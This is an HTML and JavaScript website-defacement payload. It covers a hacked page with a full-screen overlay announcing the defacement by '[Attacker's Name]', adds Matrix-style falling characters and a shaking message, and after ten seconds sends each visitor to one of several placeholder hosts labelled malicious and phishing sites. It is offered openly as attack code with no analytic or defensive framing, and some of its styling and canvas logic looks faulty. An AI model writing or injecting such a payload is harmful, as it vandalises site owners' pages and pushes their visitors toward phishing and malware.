<div id="defacement" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: black; color: black; display: flex; flex-direction: column; justify-content: center; align-items: center; z-index: 9999; font-family: 'Courier New', monospace; font-size: 18px; filter: blur(5px);">
<p id="defaceMessage" style="text-align: center; margin-bottom: 20px; font-size: 50px; color: #00FF00;">This website has been defaced by <span style="color: red;">[Attacker's Name]</span>.</p>
</div>
<canvas id="matrixCanvas" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1;"></canvas>
<script>
// Matrix Effect JavaScript
var canvas = document.getElementById('matrixCanvas');
var ctx = canvas.getContext('2d');
var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#$%^&*()';
var font_size = 10;
var columns = canvas.width / font_size;
var drops = [];
// Set the canvas size to window size
canvas.height = window.innerHeight;
canvas.width = window.innerWidth;
for (var i = 0; i < columns; i++) {
drops[i] = 0;
}
function drawMatrix() {
ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.fillStyle = '#00FF00';
ctx.font = font_size + 'px monospace';
for (var i = 0; i < drops.length; i++) {
var text = chars[Math.floor(Math.random() * chars.length)];
ctx.fillText(text, i * font_size, drops[i] * font_size);
if (drops[i] * font_size > canvas.height && Math.random() > 0.975) {
drops[i] = 0;
}
drops[i]++;
}
}
setInterval(drawMatrix, 30);
// Check if the defaced page has already been shown using cookies
function checkDefacedPage() {
var defaced = getCookie('defaced');
if (!defaced) {
// Set a cookie that marks the page as shown
setCookie('defaced', 'true', 365);
document.getElementById('defacement').style.display = 'flex';
} else {
document.getElementById('defacement').style.display = 'none';
}
}
// Function to set a cookie
function setCookie(name, value, days) {
var expires = "";
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
expires = "; expires=" + date.toUTCString();
}
document.cookie = name + "=" + (value || "") + expires + "; path=/";
}
// Function to get a cookie value
function getCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') c = c.substring(1, c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
}
return null;
}
// Initialize the defaced page check
checkDefacedPage();
// Random Redirection after a set period
setTimeout(function() {
var redirectUrls = ['https://malicious-site1.com', 'https://malicious-site2.com', 'https://phishingsite.com'];
var randomUrl = redirectUrls[Math.floor(Math.random() * redirectUrls.length)];
window.location.href = randomUrl;
}, 10000); // Redirect after 10 seconds
// Shaking Effect
var defaceMessage = document.getElementById('defaceMessage');
var shake = false;
function shakeMessage() {
if (shake) {
defaceMessage.style.animation = 'shake 0.3s ease-in-out 3';
}
}
setInterval(function() {
shake = !shake;
shakeMessage();
}, 3000);
// Add Falling HTML Elements
function addFallingElements() {
var element = document.createElement('div');
element.style.position = 'absolute';
element.style.top = '0';
element.style.left = Math.random() * window.innerWidth + 'px';
element.style.fontSize = '20px';
element.style.color = '#00FF00';
element.innerHTML = chars[Math.floor(Math.random() * chars.length)];
document.body.appendChild(element);
var dropSpeed = Math.random() * 2 + 1;
var leftSpeed = Math.random() * 1 - 0.5;
function fall() {
var rect = element.getBoundingClientRect();
if (rect.top < window.innerHeight) {
element.style.top = rect.top + dropSpeed + 'px';
element.style.left = rect.left + leftSpeed + 'px';
requestAnimationFrame(fall);
} else {
document.body.removeChild(element);
}
}
fall();
}
setInterval(addFallingElements, 500); // Add a new element every 500ms
// CSS for shaking effect
var style = document.createElement('style');
style.innerHTML = '@keyframes shake { 0% { transform: translateX(0); } 25% { transform: translateX(-10px); } 50% { transform: translateX(10px); } 75% { transform: translateX(-10px); } 100% { transform: translateX(0); } }';
document.head.appendChild(style);
</script>